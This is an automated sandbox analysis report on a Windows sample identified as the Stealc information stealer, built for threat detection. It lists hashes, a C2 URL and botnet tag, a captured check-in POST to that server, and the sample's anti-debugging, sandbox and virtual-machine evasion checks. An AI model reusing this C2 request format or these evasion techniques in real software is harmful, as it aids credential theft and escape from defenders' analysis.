Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544876
MD5:	264daa04defc6b3cb7cd8b682db05acd
SHA1:	10f55121d698817f1960530cbec2bd1da8564a8d
SHA256:	4a39c54963c15bf5b9388247e2a83ca5bbb1b69ca3e016ad75c8cea50a99a43a
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found evaded block containing many API calls

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 3624 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 264DAA04DEFC6B3CB7CD8B682DB05ACD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2103784412.000000000150E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2061051331.0000000005370000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2102193900.0000000000C81000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 3624	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3624	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.c80000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T20:43:17.658007+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

Code function: 0_2_00C862D0 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00C862D0

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGCFHIDAKECFHIEBFCGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 44 45 41 42 45 43 46 38 41 39 34 32 31 33 38 31 30 34 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 2d 2d 0d 0a Data Ascii: ------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="hwid"2DEABECF8A942138104604------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="build"tale------HDGCFHIDAKECFHIEBFCG--

Source: file.exe, 00000000.00000002.2103784412.000000000150E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2103784412.0000000001582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2103784412.0000000001582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/$
Source: file.exe, 00000000.00000002.2103784412.0000000001554000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/405117-2476756634-1003
Source: file.exe, 00000000.00000002.2103784412.0000000001554000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2103784412.0000000001569000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2103784412.0000000001582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2103784412.0000000001569000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2103784412.0000000001582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: file.exe, 00000000.00000002.2103784412.0000000001569000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php_
Source: file.exe, 00000000.00000002.2103784412.0000000001582000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: file.exe, 00000000.00000002.2103784412.000000000150E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/~gq
Source: file.exe, file.exe, 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2061051331.000000000539B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC0098	0_2_00CC0098
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E31F2	0_2_010E31F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E002E	0_2_010E002E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDB198	0_2_00CDB198
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB2138	0_2_00CB2138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC4288	0_2_00CC4288
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CEE258	0_2_00CEE258
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010693ED	0_2_010693ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010DE230	0_2_010DE230
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CFD39E	0_2_00CFD39E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0108C295	0_2_0108C295
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D0B308	0_2_00D0B308
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E82D0	0_2_010E82D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC45A8	0_2_00CC45A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CED5A8	0_2_00CED5A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CAE544	0_2_00CAE544
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CA4573	0_2_00CA4573
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D74CA	0_2_010D74CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC66C8	0_2_00CC66C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D096FD	0_2_00D096FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CFA648	0_2_00CFA648
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CF6799	0_2_00CF6799
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D66C9	0_2_010D66C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDD720	0_2_00CDD720
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CEF8D6	0_2_00CEF8D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDB8A8	0_2_00CDB8A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD98B8	0_2_00CD98B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010DC997	0_2_010DC997
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD4868	0_2_00CD4868
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010169F1	0_2_010169F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EB839	0_2_010EB839
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D98B6	0_2_010D98B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CE8BD9	0_2_00CE8BD9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CF0B88	0_2_00CF0B88
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CF4BA8	0_2_00CF4BA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F82CA0	0_2_00F82CA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E4DB4	0_2_010E4DB4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CFAC28	0_2_00CFAC28
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD4DC8	0_2_00CD4DC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CD5DB9	0_2_00CD5DB9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CDBD68	0_2_00CDBD68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CB1D78	0_2_00CB1D78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CEAD38	0_2_00CEAD38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CF1EE8	0_2_00CF1EE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010D3F90	0_2_010D3F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CC8E78	0_2_00CC8E78
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01027E1D	0_2_01027E1D

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00C84610 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: iuotgoma ZLIB complexity 0.9950269020915429

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C99790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00C99790

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C93970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00C93970

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\VLLCSI2L.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 2127360 > 1048576

Source: file.exe

Static PE information: Raw size of iuotgoma is bigger than: 0x100000 < 0x19c600

Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2061051331.000000000539B000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2102193900.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2061051331.000000000539B000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.c80000.0.unpack :EW;.rsrc :W;.idata :W; :EW;iuotgoma:EW;ujumrvwn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;iuotgoma:EW;ujumrvwn:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C99BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00C99BB0

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x21457b should be: 0x211c49

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: iuotgoma
Source: file.exe	Static PE information: section name: ujumrvwn
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100310B push 078BDE3Bh; mov dword ptr [esp], esp	0_2_01003197
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100310B push ecx; mov dword ptr [esp], eax	0_2_010031AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100310B push 2FD7EA51h; mov dword ptr [esp], edx	0_2_01003217
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CAA0DC push eax; retf	0_2_00CAA0F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0115F109 push ebx; mov dword ptr [esp], edi	0_2_0115F146
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FAE0AA push esi; mov dword ptr [esp], edi	0_2_00FAE134
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0117014D push ecx; mov dword ptr [esp], ebp	0_2_011701CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118018E push 59CC6C41h; mov dword ptr [esp], eax	0_2_011801CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0118018E push edi; mov dword ptr [esp], 75A76F31h	0_2_0118021E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013A9186 push edi; mov dword ptr [esp], 5C7B36DFh	0_2_013A9187
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013A9186 push ebx; mov dword ptr [esp], edx	0_2_013A91A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013A9186 push 0377B707h; mov dword ptr [esp], ecx	0_2_013A9291
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013A9186 push 1168DDA5h; mov dword ptr [esp], eax	0_2_013A92AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013A9186 push eax; mov dword ptr [esp], ebx	0_2_013A92DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0114F1C4 push 2F44066Bh; mov dword ptr [esp], edi	0_2_0114F1D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0114F1C4 push 0304AFC6h; mov dword ptr [esp], ebx	0_2_0114F32B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011631CD push esi; mov dword ptr [esp], edx	0_2_01163214
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011631CD push 51B55B4Bh; mov dword ptr [esp], eax	0_2_01163239
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011631CD push esi; mov dword ptr [esp], ebp	0_2_01163262
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011631CD push 2553DE1Ah; mov dword ptr [esp], edx	0_2_011632A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011871FD push ebp; mov dword ptr [esp], 47FE245Bh	0_2_0118721D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011B91E3 push eax; mov dword ptr [esp], esp	0_2_011B9220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E31F2 push edi; mov dword ptr [esp], eax	0_2_010E31F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E31F2 push ebp; mov dword ptr [esp], 55206004h	0_2_010E32D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E31F2 push ebp; mov dword ptr [esp], 74FE1FF7h	0_2_010E3331
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E31F2 push edi; mov dword ptr [esp], eax	0_2_010E33FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E31F2 push esi; mov dword ptr [esp], edx	0_2_010E347B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E31F2 push 553AF153h; mov dword ptr [esp], edx	0_2_010E34C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E31F2 push 2DA5B1AFh; mov dword ptr [esp], eax	0_2_010E3533
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E31F2 push 489A9AB2h; mov dword ptr [esp], ebp	0_2_010E359C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E31F2 push ebx; mov dword ptr [esp], 4AD38300h	0_2_010E35A0

Source: file.exe

Static PE information: section name: iuotgoma entropy: 7.954742797276652

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00C99BB0

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-37858

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F063D second address: 10F064D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0DECD24168h 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F07A1 second address: 10F07A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F07A7 second address: 10F07C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F0DECD2416Ch 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f jc 00007F0DECD24166h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F07C4 second address: 10F07C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F07C9 second address: 10F07D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0DECD24166h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F07D5 second address: 10F07DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F07DB second address: 10F07EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0DECD2416Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F07EC second address: 10F0800 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0DED622D76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F094E second address: 10F095A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0DECD24166h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F095A second address: 10F0977 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DED622D86h 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0C08 second address: 10F0C1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DECD2416Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0DC0 second address: 10F0DFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0DED622D80h 0x00000007 jmp 00007F0DED622D85h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jp 00007F0DED622D76h 0x00000017 ja 00007F0DED622D76h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0DFA second address: 10F0DFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0DFF second address: 10F0E09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F0DED622D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0E09 second address: 10F0E13 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0DECD24166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0E13 second address: 10F0E1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F34EC second address: 10F355B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0DECD24173h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F0DECD2416Fh 0x00000013 nop 0x00000014 push esi 0x00000015 mov dword ptr [ebp+122D1C96h], edx 0x0000001b pop edi 0x0000001c push 00000000h 0x0000001e sub dword ptr [ebp+122D1C5Bh], edi 0x00000024 jnl 00007F0DECD2416Bh 0x0000002a add di, 5B91h 0x0000002f call 00007F0DECD24169h 0x00000034 jmp 00007F0DECD2416Ah 0x00000039 push eax 0x0000003a ja 00007F0DECD2416Ah 0x00000040 mov eax, dword ptr [esp+04h] 0x00000044 push eax 0x00000045 push edx 0x00000046 push edi 0x00000047 push eax 0x00000048 pop eax 0x00000049 pop edi 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F355B second address: 10F356B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push ebx 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
